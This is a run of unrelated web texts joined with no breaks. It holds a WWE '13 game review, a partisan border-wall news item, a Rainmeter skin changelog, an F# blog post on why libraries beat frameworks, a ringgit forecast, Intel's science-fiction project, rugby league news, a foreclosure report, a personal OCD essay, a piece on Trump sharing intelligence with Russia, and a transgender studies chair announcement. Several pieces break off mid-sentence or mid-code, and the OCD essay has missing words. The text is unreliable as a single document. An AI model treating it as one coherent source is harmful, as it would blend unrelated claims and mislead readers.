These big modes are fantastic in the broad sense, but plenty of little details and tweaks improve the experience significantly. If you’re tiring of wrestling Eddie Guerrero for four straight weeks in Universe mode, you can change the “match experience” setting to Quick for a brief beatdown. If you’d rather have a Wrestlemania-caliber classic, you can change it to Epic. It’s a subtle addition, but one I found myself using frequently.
Only longtime wrestling fans will notice some of the tiny details, but they’re sure to appreciate the attention given to things like accurate cage color, Mick Foley’s entrance stride, and appropriate logos and fonts for pay-per-views. Casual wrestling fans may not take notice of THQ’s obvious love and knowledge of wrestling, but longtime viewers like me will be surprised and impressed throughout the game.
Above: Our recent Test Chamber episode covering WWE '13
A detailed tribute to the industry's greatest era is great, but it wouldn't add up to much if the action between the ropes wasn't up to par. Thankfully, WWE '13 allows fans to recreate virtually anything you see on Raw without resorting to an overly complex control scheme. Standard actions like strikes, grapples, and reverses can be pulled off with basic button presses, but more elaborate maneuvers require some setup. With a finisher stored, you can perform your finisher through a table, a superplex to the outside of the ring, or even a mid-air RKO or Sweet Chin Music if your foe makes an ill-timed leap. Multiplayer bouts are a blast, and several submission and iron man matches had me on the edge of my seat.
For everything it does right, WWE ‘13 still has some nagging issues. AI occasionally gets caught in odd loops. Physics for items like ring ropes and weapons are frequently wonky. A nonexistent crowd started a chant during an empty arena match. Many of the wrestlers’ faces look odd or don’t resemble their real-life counterparts. Despite these complaints, very few of them interfere with the experience as a whole.
Wrestling fans may wonder where THQ goes from here with the series, because WWE ‘13 offers a staggering amount of content. Its roster is unmatched, its creation suite is bigger and better than the already massive past offerings, online play is lag-free and matches the options and functionality of the best fighting games, and it offers two fantastic and expansive modes in Attitude Era and WWE Universe.
I’ve always pointed to 2000’s WWF No Mercy as the best wrestling game I’ve ever played, but nostalgia is certainly a factor in that. After playing WWE ‘13, I’m hard pressed to think of a more enjoyable and complete wrestling game in history.On Wednesday, Sen. Kamala Harris (D-CA) said she will try to block funding for President Donald Trump’s border wall because it is a “waste of money.”
Let me be clear: Trump’s border wall is a waste of money and I will block funding for it.https://t.co/qpZZZUu4Nn — Kamala Harris (@KamalaHarris) July 12, 2017
The House Appropriations Committee allocated $1.6 billion to fund the wall this week, and House Freedom Caucus chairman Rep. Mark Meadows (R-NC) told Breitbart News this week that the next spending bill must fund Trump’s border wall if Congress wants to avoid a government shutdown.
“There is nothing more critical that has to be funded than funding the border wall for two reasons,” Meadows said. “One is it is a commitment that the president made to the American people and one that he intends on keeping, but the second part of that is for our national security we must secure our borders. And the American people will accept no less.”
It is worth noting that in 2015, an illegal immigrant murdered Kate Steinle in Harris’ sanctuary city of San Francisco while Harris, the former San Francisco district attorney, was California’s attorney general. The illegal immigrant murderer told authorities that he specifally came to San Francisco because he knew it was a sanctuary city. Harris, after reportedly initially tweeting about soccer, reacted to Steinle’s tragic death by pushing for comprehensive amnesty legislation.* circular flyout for left side
* color customization
Rainmeter Skin I created to be used with Dark Soft by rajTheeBan95, which can be found on deviantART. This was originally released on reddit by me however I decided to finally get a dA account because this might be a better place for this stuff.Recommended software and themes to get the full effect:* Dark Soft by rajTheeBan95, found here: rajtheeban95.deviantart.com/ar… * DesktopCoral to keep the topbar in view always (dock at top, set height to 30, set fully transparent): www.donationcoder.com/Software… Recommended Rainmeter skin settings:* Dock.ini set to On Desktop* All dropdown menus and widgets set to TopmostChangelog:~~~4.1~~~* color picker! now you can customize the look and feel of the skin of every part from the dock gradient and highlight gradient to the font color and bar color.* apply changes made in the settings skin by clicking the "apply changes" text at the bottom of the skin (this new format lets you edit more things without having to rehover over the appropriate title)~~~4.0~~~* some behind-the-scenes optimizations* improved settings skin (now with a file/folder selector)* right click RAM widget to pop up a list of open tasks* new bottom taskbar options as "Dock" variant in preparation for new additions~~~3.2~~~* added circular flyout for left side* added battery widget~~~3.0~~~* added new option for folder view! (circular flyout for the right side)~~~2.1~~~* animated dropdown folders* fully integrated settings skin (middle mouse click on any other Mirage skin to open the settings)* Middle mouse click anywhere in settings to close the settings skin* Hover over the title in settings skin to open the options for each dropdown menu* Changes are instantaneous* Hover over the Settings title to hide the currently open settings panel* Simply hover over the settings skin to get started (opens the dock skin automagically)* Click on the title in the settings page to toggle each menu/widget on and off* Highlighted, animated dropdown menus (4 dropdowns X 9 slots)* CPU/RAM Meter (click the icon to open Task Manager)* HDD Space (configurable disk names, click the name {eg C:} to go to the root folder in that drive)* Recycle Bin display (right click to empty, left click to open)* Power widget (options for hibernate, restart, shutdown, and logoff; sleep was excluded because it is just as easy to tap the physical button once)Planned additions:* scrolling menus (likely 18 or 27 [2 or 3 pages] links total)* central desktop menu variant* easy way to switch between them from the settings panel* more dock widgets? (need more ideas!)Library patterns Why frameworks are evil
This article is a follow up to my previous blog post about functional library design, but you do not need to read the previous one, because I'll focus on a different topic.
In the previous article, I wrote about a couple of principles that I find useful when designing libraries in a functional style. This follows from my experience with building F# libraries, but the ideas are quite general and can be useful in any programming language. Previously, I wrote how multiple layers of abstraction let you build libraries that make 80% of scenarios easy while still supporting the more interesting use cases.
In this article, I'll focus on two other points from the list - how to design composable libraries and how (and why) to avoid callbacks in library design. As the title suggests, this boils down to one thing - build libraries rather than frameworks!
Frameworks vs. Libraries
What is a difference between a framework and a library? The key difference is how you can use them and what kind of code you need to write.
Frameworks. When using a framework, the framework is in charge of running the system. It defines some extensibility points (interfaces) where you need to put your implementation.
Libraries. When using a library, you are in charge of running the system. The library defines some points through which you can access it (functions and types) and your code can call it as it needs.
You can see the difference in the diagram. A framework defines a structure that you have to fill, while library has some structure that you have to build around.
Of course, the separation between the two is not complete. Some components have aspects of both - you call it as a library, but it has some holes (e.g. an interface) that you have to fill.
Why are frameworks evil?
If you look at the diagram above, you can already see some of the problems with frameworks. In this section, I'd like to say a few things about three of the problems (before looking at ways to avoid those in the next section).
Frameworks do not compose
Perhaps the biggest and the most obvious problem with frameworks is that they cannot be composed. When you have two frameworks, they both force you to fill in a specific hole. But there is usually no way to fit one framework inside another (and it is usually not clear which one should be the one on the outside and which one should be on the inside).
With libraries, the situation is different. You are in control, so your program can easily call multiple libraries. This may have some cost - you may need to write more complex code around the library end-points - but it is usually possible.
Theoretical side note I do not claim that there is any theoretical basis for this, but frameworks seem to be a bit like monads. When you're out of a monad, you can "get inside" using unit. Then you can do various things within the monad, but you can never "get out". Frameworks are similar. It is quite well known that composing monads is hard (just like composing frameworks). If you have monads \(M_1\) and \(M_2\), you can compose them when you have an operation \(M_1 (M_2~\alpha) \rightarrow M_2 (M_1~\alpha)\), i.e. you can switch the order in which they are wrapped. Can something similar be defined for frameworks?
Frameworks are hard to explore
Another big problem with frameworks is that they are difficult to test and explore. In F#, it is very useful to load a library into F# Interactive and try running it with various inputs to see what the library does. For example you can use the web development library Suave to start a simple web server like this:
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: // Reference the library & open namespaces #r "Suave.0.25.0/lib/net40/Suave.dll" open Suave. Web open Suave. Http // Start a simple web server printing hello startWebServer defaultConfig <| fun ctx -> async { let whoOpt = ctx. request. queryParam "who" let message = sprintf "Hello %s " ( defaultArg whoOpt "world" ) return! ctx |> Successful. OK message }
The snippet loads the library and then calls startWebServer with a default configuration and a function to handle requests (the function gets the query parameter who and prints a greeting).
This kind of usage is extremely useful, because it lets the user experiment with the library quickly. You can try calling startWebServer with different kinds of parameters and see what it does (or, for other functions, see what it returns).
Theoretical side note The difference between libraries and frameworks is pretty much the same as the difference between calling a function and having to provide a function as an argument: \[\tag{library} lib : \tau_1 \rightarrow \tau_2\] \[\tag{framework} fwk : (\sigma_2 \rightarrow \sigma_1) \rightarrow unit\] In the library case, you need to create a \(\tau_1\) value so that you can call the \(lib\) function. Sometimes, the library gives you other functions that create \(\tau_1\) (in which case, you just need to find the first function of the chain to call). When writing code interactively, you can try to create various \(\tau_1\) values, run the function and see what it returns. This gives you an easy way to explore how the library behaves (and how to call it to get what you need). It also makes code that uses libraries easy to test. In the framework case, the situation is more difficult. You have to write a function that accepts \(\sigma_2\) and produces \(\sigma_1\). The first problem is that you do not quite know what \(\sigma_2\) value are you going to get in different cases. In a perfect world "invalid values are not representable", but in reality, you want to start writing code that handles the most common cases first. Similarly, it is hard to understand (and explore) what kind of \(\sigma_1\) values you should produce to get the behaviour you want.
Now, if you look back at my Suave example, you might be wondering whether this is a library (we call a function) or a framework (we specify a function that is called). In fact, the above example demonstrates both aspects. As I'll say later, this instance of "framework" structure is not actually a bad thing (see the sections on callbacks and async below).
Frameworks shape how you code
The next problem with frameworks is that they control the structure of your code. The typical example of this is when you are using a framework that requires you to inherit from some abstract base class and implement specific methods. For example the Game class in the XNA Framework looks something like this (I know that XNA is dead, but the pattern is used in other similar frameworks):
1: 2: 3: 4: 5: class Game { abstract void Initialize(); abstract void Draw(DrawingContext ctx); abstract void Update(); }
In Initialize, you are supposed to load any resources that your game might need; Update is called repeatedly to calculate the next state and Draw is called when the screen needs to be updated. The interface is pretty much designed to an imperative programming model, so you'll end up writing something like the next snippet. Here, we're writing a silly Mario game where Mario just slowly walks to the right:
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: type MyGame () = inherit Xna. Game () let mutable x = 0 let mutable mario = None override this. Initialize () = mario <- Some ( Image. Load ( "mario.png" )) override this. Update () = x <- x + 1 override this. Draw ( ctx ) = mario |> Option. iter ( fun mario -> ctx. Draw ( x, 0, mario ))
The structure of the framework does not make it particularly easy to write the code in a nice way. Here, I just did the most direct possible implementation. The mutable field x represent Mario's location and mario is an option<Image> value for storing the resource.
You might say that this would be nicer in C# (e.g. I had to use option value because all F# fields have to be initialized), but that is only true if you ignore all checking. The fact that we use option value is actually making the code safer (because we cannot accidentally use mario in Draw if it was not initialized). Or does the framework guaratnee that Initialize will be called before Draw? Well, how are we supposed to know that?
How to avoid framework smells
I hope I convinced you that you should avoid building frameworks and create libraries instead. But I did not give any concrete tips how to do that. In the rest of the article, I look at a couple of concrete points.
Support interactive exploration
Even if you're not writing your library in F#, you should use F# Interactive to be able to call it interactively! F# is not just great for documenting your library, but writing an interactive script is a great way to make sure that your library is easy to call (if you're on the.NET platform, the other option is LINQPad).
To give two examples of what I mean, the following snippet shows how you can use the F# Formatting library to turn a folder with documentation containing F# Script files and Markdown documents into HTML, or how to process a single file:
1: 2: 3: 4: 5: 6: 7: 8: 9: #r "FSharp.Literate.dll" open FSharp. Literate // Process an entire folder Literate. ProcessDirectory ( "C:/demo/docs" ) // Process two individual documents Literate. ProcessMarkdown ( "C:/demo/docs/sample.md" ) Literate. ProcessScriptFile ( "C:/demo/docs/sample.fsx" )
The idea is that you just need to reference the library, open the namespace and find the Literate type as the entry-point. Once you have that, you can use "." and see what is available!
I think all good libraries should support this kind of usage. As another example, let's look at FunScript, which translates F# code to JavaScript. Typically, you'd use this as part of some web framework, but it works just fine without that too. The following generates JavaScript for simple async loop that increments the number in the page <title> every second:
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: #r "FunScript.dll" #r "FunScript.TypeScript.Binding.lib.dll" open FunScript open FunScript. TypeScript Compiler. compile <@@ let rec loop n : Async < unit > = async { Globals. window. document. title <- string n do! Async. Sleep ( 1000 ) return! loop ( n + 1 ) } loop 0 @@>
Again, we just reference the library (this time, we also reference bindings for DOM) and then we call one function - the compile function takes an F# quotation. Once you discover it, you can experiment with what kind of things it can handle! The above demo shows a nice support for the F# async {.. } and for bindings that let you access the DOM.
Use only simple callbacks
When I talked about frameworks in the theoretical side note above, I said that framework is, in principle, anything that accepts a function as an argument. So, am I saying that you should not use higher-order functions? Of course not!
Compare the following two simple snippets - the first one uses the standard list processing functions and the second one reads some input (using the first function), validates it and then processes it (using the second function):
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: // Standard list-processing functions [ 1.. 10 ] |> List. filter ( fun n -> n % 3 = 0 ) |> List. map ( fun n -> n * 10 ) // Calls the first function to read input, validates // it and then calls second function to process it readAndProcess ( fun () -> File. ReadAllText ( "C:/demo.txt" )) ( fun s -> s. ToUpper ())
There are two differences between the first and second example. In case of list functions, you always specify just a single function as an argument. Furthermore, the functions should never be stateful.
In the second case, we are specifying two functions. To me, this is a sign that the function may be more complicated than it needs to be. Secondly, readAndProcess requires us to return string state from the first function and then take string as the input of the second function. This is another potential problem. What if we needed to pass some other state from the first function to the second one?
I'm obviously looking at a simplified case here, but let's look what might be going on inside readAndProcess. The function might be handling some exceptions and checking that the input is valid before calling the second argument:
1: 2: 3: 4 |
"Ringgit levels are a reflection of our economic strength, and there is more liquidity in the market now and it is not influenced by speculative flows anymore," Reuters quoted the central bank chief as saying.
Last week, BNM also said in its policy statement that it “may consider reviewing the current degree of monetary accommodation” given the strength of global and domestic macroeconomic conditions. This is to “ensure the sustainability of the growth prospects of the Malaysian economy”.
This shift in guidance by the central bank towards a hawkish tilt signalled a possible rate hike in 2018. Together with the upbeat GDP report, it adds to the “list of positive factors supporting the ringgit”, according to Maybank analysts.
“We believe there is more room for this laggard to play catch-up,” said Maybank's report on Friday, adding that an extension of decline beyond the key support level of 4.1720 could see the pair heading lower towards 4.15.
Ms Irene Cheung, senior strategist for Asia at ANZ, expects the ringgit to stay at current levels for the rest of 2017. Not even an interest rate hike by the US Federal Reserve next month could depress it, given how markets have “fully priced in” the rate increase, she added.
Nevertheless, the ringgit could still feel the pressure of further US rate increases in 2018 and weaken to levels of around 4.30 against the US dollar. Analysts, including Ms Cheung and Mr Wee, are expecting the US central bank to raise its benchmark fed funds rate three times next year.
A general election, which has to be held by August 2018 at the very latest, could also stir some fluctuations in the currency, analysts said.
HOW IT MAY FARE AGAINST SING DOLLAR
Against the Singapore dollar, analysts Channel NewsAsia spoke to have differing views about the ringgit’s moves.
The ringgit ticked up modestly against the Sing dollar to 3.07404 on Friday, and breached the key support level of 3.08 earlier this week.
This trend could continue with the Sing dollar being “a slow burner”, Ms Cheung reckoned.
“We are constructive on both currencies but the Sing dollar will be a slow burner with the next MAS (Monetary Authority of Singapore) policy meeting in April. We also expect MAS to only tighten in October,” she told Channel NewsAsia.
“The drivers for the ringgit will be more immediate, such as the upturn in commodity prices and other domestic factors. So, the SGD/MYR cross looks like its heading lower in the near term.”
Mr Wee from DBS agreed, but stressed that any rise in the ringgit against the Sing dollar will be modest.
“I don’t expect the ringgit to depreciate against the Sing dollar anymore as long as the cyclical recovery is intact. But I’m also not in the camp that says it will appreciate in a big way against us,” he said. “The ringgit is just recovering what it has lost previously.”
But Mr Julian Wee, senior markets strategist for Asia at National Australia Bank (NAB), had a different take.
“The fall in the SGD/MYR to the 3.07 handle has been precipitous and largely on the back of that surprise shift in the BNM’s tone. This is likely to reverse in the first quarter of 2018,” he told Channel NewsAsia in an emailed reply, citing factors like a “somewhat fragile nature of Malaysia’s GDP growth”.
As such, he expects the cross to rise back above 3.10 and peak around 3.14 to 3.15 in the run-up to the Malaysian elections.Image caption Intel has made their anthology available online
Chip maker Intel has commissioned leading science fiction authors to pen short stories that imagine future uses for the firm's technology.
The collection, called "The Tomorrow Project", aims to capture the public's imagination regarding the company's current research.
Intel believes this can help anticipate consumer aspirations, and drive future adoption of its products.
The anthology has been made available online as a free download.
The Tomorrow Project is led by Intel futurist Brian David Johnson, who regards the scheme as an important way to assess future technology trends.
"When we design chips to go into your television, your computers, your phones - we need to do it about five or ten years in advance. We need to have an understanding of what people will want to do with those devices," said Mr Johnson.
"What science fiction does is give us a way to think about the implications of the technologies that we're building, for the people who will actually be using them."
The concept is called "future casting" - and aims to drive future technology uses, rather than simply responding to market forces.
"If we can give people a vision of the future - and do it through science fiction - we can capture people's imaginations," said Mr Johnson.
The project features work from UK sci-fi author Ray Hammond, who took research in development at Intel's labs and used it as the basis for "The Mercy Dash" - the story of a couple battling futuristic traffic technology in a race to save a mother's life.
"I was more nervous approaching this than I have been with any of my full-length novels. I've never written short stories, so the form was new to me," Mr Hammond told BBC News.
The author's work has been made freely available for download from Intel's site and Mr Hammond has been delighted by the reaction.
"I've had several hundred responses from people around the world who've read the story, and either want to read more of my books, or else ask specific questions on the content."
The initiative suggests a cultural shift by the chip giant, which has had to adjust to sharp changes in the consumer tech landscape.
In previous decades, Intel was able to drive progress and profits through steady increments in processor speed. Yet in a post-PC world, firms like Apple have successfully used lifestyle innovations to frame future market appetites.
"Intel have owned the desktop and server market for a long time. As the world moves to mobile devices where they are not number one, what are they going to do?" said Mr Hammond.
The author believes narrative has an important role to play in future technology.
"Story telling is often under-appreciated in marketing and development. It can engender reactions you just don't get if you show a bunch of slides. The best CEOs - like Apple's Steve Jobs - are the most brilliant story tellers," said Mr Hammond.After a successful entry in an abbreviated under-20s competition this year the Western Mustangs have been included in the expanded state-wide under-20s competition announced by the Queensland Rugby League on Thursday.
To be known as the Hastings Deering Colts, the under-20s competition will feature 13 of the current Intrust Super Cup clubs as well as the Western Mustangs based out of Toowoomba's Clive Berghofer Stadium and reaching out to Darling Downs centres such as Roma and Kingaroy.
And they will enter the inaugural season of the Hastings Deering Colts full of confidence after the Mustangs qualified for the semi-finals this year before going down to eventual champions Redcliffe while their under-18s were Mal Meninga Cup champions, defeating Souths Logan in the grand final in May.
The inclusion of the Mustangs in the Hastings Deering Colts is a significant step towards inclusion in the Intrust Super Cup and provides a vast number of junior players a pathway to elite level competition without having to leave their town or region.
By disbanding the National Youth Competition the NRL recognised the importance in allowing young players to develop their games in familiar surroundings where possible and managing director Rob Moore said the QRL were delighted to welcome the Mustangs into the state-wide 20s.
"One of the real strengths of the Hastings Deering Colts is that players will be able to play in a high-standard state-wide competition without having to move from their home region, which was a regular occurrence under the previous National Youth Competition model," Moore said.
"We've identified this region as a really important footprint for the game.
"This competition will give young talent from Toowoomba and the Darling Downs an opportunity to stay at home and represent the Mustangs, and hopefully in the not too distant future they will be able to push up into an Intrust Super Cup team as well."
The 2017 Intrust Super Cup champions, the PNG Hunters, are hoping to enter an under-20s team into the competition in 2019.I want to bring your attention to a disturbing little sub-number in today’s quarterly foreclosure report from California-based RealtyTrac. RealtyTrac reports “foreclosure activity,” which covers default notices, auctions sale notices and bank repossessions.
The numbers were pretty nasty nationwide, as expected, with activity up 23 percent quarter to quarter and 112 percent year over year.
When you break down the sub-categories, however, you find that the number of bank-owned properties is rising faster than ever before. “Typically you’ll see about 20 percent of the foreclosure filings being bank-owned,” RealtyTrac’s Rick Sharga told me in an interview this morning. “We’re getting to a point now where it’s well over 1/3 and aiming at 40 percent, so that just suggests that a lot of these homes can’t even be sold to investors at auctions – because there’s just no equity in the properties.”
Sharga estimates that by the end of this year there will be over a million bank-owned homes in the market. To put that in perspective, there are about four million properties listed on the Multiple Listing Service, or MLS, so a quarter of the inventory would be bank-owned. The National Association of Realtors noted last week that in a casual survey they found 18 percent of the homes currently on the MLS are foreclosed homes.
It’s interesting to me that given all the programs supposedly helping folks in default and all the banks claiming that they are doing refi’s or “work-outs” or whatever, a growing number of homes are still going back to the bank.
Questions? Comments? [email protected] by Tiffany Dawn Hasse in with Kristen Fuller, M.D.
The underlying reasons why I have to repeatedly re-zip things, blink a certain way, count to an odd number, check behind my shower curtain to ensure no one is hiding to plot my abduction, make sure that computer cords are not rat tails, etc., will never be clear to me. Is it the result of a poor reaction to the anesthesiology that was administered during my teeth extraction? These aggravating thoughts and compulsions began immediately after the procedure. Or is it related to PANDAS (Pediatric Autoimmune Neuropsychiatric Disorder Associated with Streptococcal infection) which is a proposed theory connoting a strange relationship between group A beta-hemolytic streptococcal infection with rapidly developing symptoms of obsessive-compulsive disorder in the basal ganglia? Is it simply a hereditary byproduct of my genetic makeup associated with my nervous? Or is it a defense tactic I developed through having an overly concerned mother?
The consequences associated with my
Growing up with mild, in fact dormant, obsessive-compulsive disorder, I would have never proposed such bizarre questions until 2002, when an exacerbated overnight onset of severe OCD mentally paralyzed me. I'd just had my wisdom teeth removed and was immediately bombarded with incessant and intrusive unwanted thoughts, ranging from a of being gay to questioning if I was truly seeing the sky as blue. I'm sure similar thoughts had passed through my mind before; however, they must have been filtered out of my conscious, as I never had such incapacitating ideas enter my train of thought before. During the summer of 2002, not one thought was left unfiltered from my conscious. Thoughts that didn't even matter and held no significance were debilitating; they prevented me from accomplishing the simplest, most mundane tasks. Tying my shoe only to untie it repetitively, continuously being tardy for work and, spending long hours in a bathroom engaging in compulsive rituals such as tapping inanimate objects endlessly with no resolution, and finally medically withdrawing from college, eventually to drop out completely not once but twice, were just a few of the consequences I endured.
Seeking help
After seeing a medical specialist for OCD, I had tried a mixed cocktail of medications over a 10-year span, including escitalopram (Lexapro), fluoxetine (Prozac), risperidone (Risperdal), aripiprazole (Abilify), sertraline (Zoloft), clomipramine (Anafranil), lamotrigine (Lamictal), and finally, after a recent II diagnosis, lurasidone (Latuda). The only that has remotely curbed my intrusive thoughts and repetitive compulsions is lurasidone, giving me approximately 60 to 70 percent relief from my symptoms.
Many psychologists and psychiatrists would argue that a combination of (CBT) and pharmacological might be the only successful treatment approach for an individual plagued with OCD. If an individual is brave enough to undergo exposure and response prevention (ERP), a type of CBT that has been shown to relieve symptoms of OCD and through desensitization and habituation, then my hat is off to them; however, I may have an alternative perspective. It's not a perspective that has been researched or proven in clinical trials — just a coping mechanism I have learned through years of suffering and endless hours of therapy that has allowed me to see light at the end of the tunnel.
In my experience with behavioral therapy, it may be semi-helpful by deconstructing or cognitively restructuring the importance of obsessive thoughts in a hierarchical order; however, I still encounter many problems with this type of technique, especially because each and every OCD thought that gets stuck in my mind, big or small, tends to hold great importance. Thoughts associated with becoming, seeing my family suffer, or living with rats are deeply rooted within me, and simply deconstructing them to meaningless underlying triggers was not a successful approach for me.
In the majority of cases of severe OCD, I believe pharmacological management is a must. A neurological malfunction of transitioning from gear to gear, or fight-or-flight, is surely out of whack and often falsely fired, and therefore, medication works to help balance this misfiring of certain neurotransmitters.
Exposure and response prevention therapy (ERP) is an aggressive and abrasive approach that did not work for me, although it may be helpful for militant-minded souls that seek direct structure. When I was enrolled in the OCD treatment program at UCLA, I had an intense fear of gaining weight, to the point that I thought my body could morph into something unsightly. I remember being encouraged to literally pour chocolate on my thighs when the repetitive fear occurred that chocolate, if touching my skin, could seep through the epidermal layers, and thus make my thighs bigger. While I boldly mustered up the courage to go through with this ERP technique recommended by my specialist, the intrusive thoughts and associated with my OCD still and often abstain these techniques. Yes, the idea of initially provoking my anxiety in the hope of habituating and desensitizing its triggers sounds great in theory, and even in a technical scientific sense; but as a human with real emotions and feelings, I find this therapy aggressive and infringing upon my comfort level.
Source: Kristen Fuller
How I conquered my OCD
So, what does a person incapacitated with OCD do? If, as a person with severe OCD, I truly had an answer, I would probably leave my house more often, take a risk once in a while, and live freely without fearing the mundane nuances associated with public places. It's been my experience with OCD to take everything one second at a time and remain for those good seconds. If I were to take OCD one day at a time, well, too many millions of internal battles would be lost in this 24-hour period. I have learned to live with my OCD through writing and performing as a spoken word artist. I have taken the time to explore my pain and transmute it into an art form which has allowed me to explore the topic of pain as an interesting and beneficial subject matter. I am the last person to attempt to tell any individuals with OCD what the best therapy approach is for them, but I will encourage each and every individual to explore their own pain, and believe that manageability can come in many forms, from classic techniques to intricate art forms, in order for healing to begin.
Tiffany Dawn Hasse is a performance poet, a TED talk speaker, and an individual successfully living with OCD who strives to share about her disorder through her art of written and spoken word.
Kristen Fuller M.D. is a clinical writer for Center For Discovery.
image: pathdoc/ShutterstockFormer diplomats, intelligence officials, and national security experts reacted with shock and alarm to news that Donald Trump, not 24 hours after firing James Comey as the director of the F.B.I. over his investigation into alleged Russian collusion with the Trump campaign, had revealed “highly classified” intelligence about the Islamic State to Russian officials inside the Oval Office. “I get great intel. I have people brief me on great intel every day,” Trump reportedly bragged to Russian Foreign Minister Sergei Lavrov and Ambassador Sergey Kislyak during a meeting last Wednesday, breaking an intelligence-sharing agreement with a critical ally and potentially jeopardizing its source.
While administration officials raced to deny the report, the president himself seemed to confirm the news the following morning, tweeting that he has “the absolute right” to share information. At a press conference later Tuesday, national security adviser H.R. McMaster defended the president’s disclosure as “wholly appropriate,” adding that Trump “wasn’t even aware of where this information came from, he wasn’t briefed on the source or method.”
Experts within the national security and intelligence community were stunned. “It is a dramatic example of the president’s exceptionally poor judgement, and cavalier attitude toward intelligence, toward our sensitive partnerships and toward the Russians and their undisputed role as an adversary of the United States,” Thomas Sanderson, a senior fellow at the Center for Strategic and International Studies, told me in an interview. Richard Stengel, who served as the under secretary for public diplomacy and public affairs at the State Department under President Barack Obama, echoed the sentiment in an e-mail, characterizing Trump’s disclosure as a “stunning lapse in judgement and knowledge.” He added, “The combination of ignorance and boastfulness is a dangerous one when it comes to intelligence.”
Trump’s decision to share highly sensitive information wasn’t illegal. On the contrary, “the president is in an interesting position because he is not bound by the same rules that everybody else is about classified information,” Mark Lowenthal, who served as former assistant director at the C.I.A. under George W. Bush, explained. “If he says it, then it is declassified.”
But that doesn’t mean there won’t be repercussions that could impact U.S. national security. “Nothing will kill a liaison relationship faster than leaking sensitive information that they have given us,” Lowenthal added. “Intelligence sharing is a very important part of the business because different countries have different strengths and different capabilities in different parts of the world, different relationships. You get additional breadth and depth in your intelligence collection by having good liaison partnerships.”
Violating that trust has always been the nightmare scenario for the intelligence community. The day after his inauguration, U.S. officials and analysts were said to fear the possibility that other countries would hesitate to share information with President Trump due to his close ties to Russia. “Trump’s off-the-cuff communication style also alarms observers in the U.S. and abroad who worry he may, inadvertently or out of bravado, reveal classified information,” Politico’s Shane Harris and Carol E. Lee wrote. Days later, the Wall Street Journal reported that intelligence officials had been withholding sensitive information out of concern that it might be leaked or compromised by the president or members of his administration.
Now, it seems, those worst fears have been confirmed. On Tuesday, the New York Times reported that the classified information Trump revealed to the Russians was provided, at least in part, by Israeli intelligence—raising the possibility that those secrets could be passed to Iran, a Russian ally that has vowed to annihilate Israel. (In a statement to the Times, Ron Dermer, the Israeli ambassador to the United States, said “Israel has full confidence in our intelligence-sharing relationship with the United States and looks forward to deepening that relationship in the years ahead under President Trump.”) According to the Associated Press, at least one European intelligence agency is already considering ending its policy of sharing information with the U.S., citing “a risk for our sources.”
“The combination of ignorance and boastfulness is a dangerous one.”
“Many of our closest allies detest this administration... they basically see Trump as a betrayal of their worldview,” James Jeffrey, who served as assistant to the president and deputy national security advisor during the second Bush administration, said. “[They] will believe the worst about him and they see his tweeting and everything as ill-disciplined and this looks like another ill-disciplined thing.” He continued, “It's another chink in the armor of our relationship with allies.”
Sanderson, who studies terrorism, insurgency, criminal networks, and intelligence issues, agreed. “They have no, no indication that this president learns from his mistakes,” he argued. “They know he craves approval from the Russians and from others, that he craves being seen as at the vanguard of leadership and that he loves to talk about what kind of access he has to intelligence. They know that he is prone to these kinds of poor judgmental moments and that this will absolutely not be the last one he does.”
On Tuesday morning, Trump defended sharing intelligence with Russia as “humanitarian,” explaining that he wants Russia to “greatly step up their fight against ISIS & terrorism.” But according to Jeffrey, the president’s belief that Vladimir Putin is an ally in the fight against terrorism is misguided. “He just doesn’t get how real the Russian intervention in the election really was and how troubling that is to Americans, both from a standpoint of their institutions and from the standpoint of the kind of situation we have with Russia. It is not a potential ally in the fight against ISIS. All they can do against ISIS is carpet bomb civilian areas,” he said. “The last thing Russia wants to see is Make American Great Again. It wants to see it collapse.”
Other experts agreed that Russia presents a unique threat to U.S. interests. Breaking an intelligence-sharing agreement to share information with a close ally “would be a problem,” Lowenthal told me. “Sharing it with the Russians is a tremendous problem because they are a hostile intelligence service.” Worse, the intelligence that Trump disclosed was reportedly “code word” level information—a classification above Top Secret that means only a select group of people within the government had access to it. As Stengel explained, “That level of classified information is highly siloed, in the sense that the information and the source of the information are not shared, especially not with a nation that has an adversarial relationship with both of the other countries.”
While the White House asserted that Trump did not discuss “sources, methods or military operations” with Lavrov and Kislyak, the Post reported that the president disclosed the city in which the intelligence-sharing partner discovered the threat in question—which experts argue could be enough for sophisticated intelligence forces, like Russia, to ferret out the source of the intel. “The revelation without a doubt enables a very sophisticated state to walk back the intelligence and determine who the source is, where the source is and certainly to blanket that city that was identified with their own sources to shake the tree,” Sanderson said. “The reality is that that source is also likely answering questions on Russian activities and also likely gathering intelligence on activities by Iran and Hezbollah, which are allies of the Russians.”
Regardless of the fallout, Trump’s disclosure presents a broader problem of credibility for an already embattled, deeply scandal-scarred administration. “It is just unbelievable that the source of much of the growing weakness in our relationships with partners and our exposure to more sophisticated adversaries is coming from the White House,” Sanderson lamented. “Not from an enemy state, not from an extremist element outside of government—it is coming from the center of our government.”
This article has been updated.VICTORIA — The professor appointed to what's believed to be the world's only chair in transgender studies hopes the research will clear away the myths and improve the lives of some of the most vulnerable people in society.
University of Victoria Prof. Aaron Devor, an internationally recognized sex- and-gender expert, will work with researchers, community activists and students to advance study into a broad range of topics that affect the lives of transgender individuals.
"Transgender people are among the most disadvantaged in society today. There's a huge amount of stigma, poverty is rampant, health care is not what it should be,'' he said.
"In order to improve the circumstances of transgender people, we need to have solid research that will give us good data and good foundation for changing policies, for changing practices and for changing hearts and minds.''
"We're seeing a lot of glamorous celebrity transgender people in the media these days, but that is not the reality for most transgender people's lives.''
A donation of US$1 million from the Tawani Foundation, founded and led by U.S. transgender billionaire Jennifer Pritzker, will establish the chair for five years in the university's Faculty of Social Sciences.
Devor, who is also transgender, is a professor in the university's sociology department, an elected member of the elite International Academy of Sex Research and a fellow of the Society for the Scientific Study of Sexuality.
He said about one in 200 people are transgender — a higher number than many would imagine.
"We're not talking about a minuscule part of the population,'' he said. "Social change is very uneven. We're seeing a lot of glamorous celebrity transgender people in the media these days, but that is not the reality for most transgender people's lives.''
"This is an area that needs a lot more attention."
Among the issues he is set to explore are health care, poverty, discrimination and suicide.
Devor has been an author on the last two editions of the World Professional Association for Transgender Health's standards of care, which provide guidelines to health professionals on caring for transgender and gender non-conforming people.
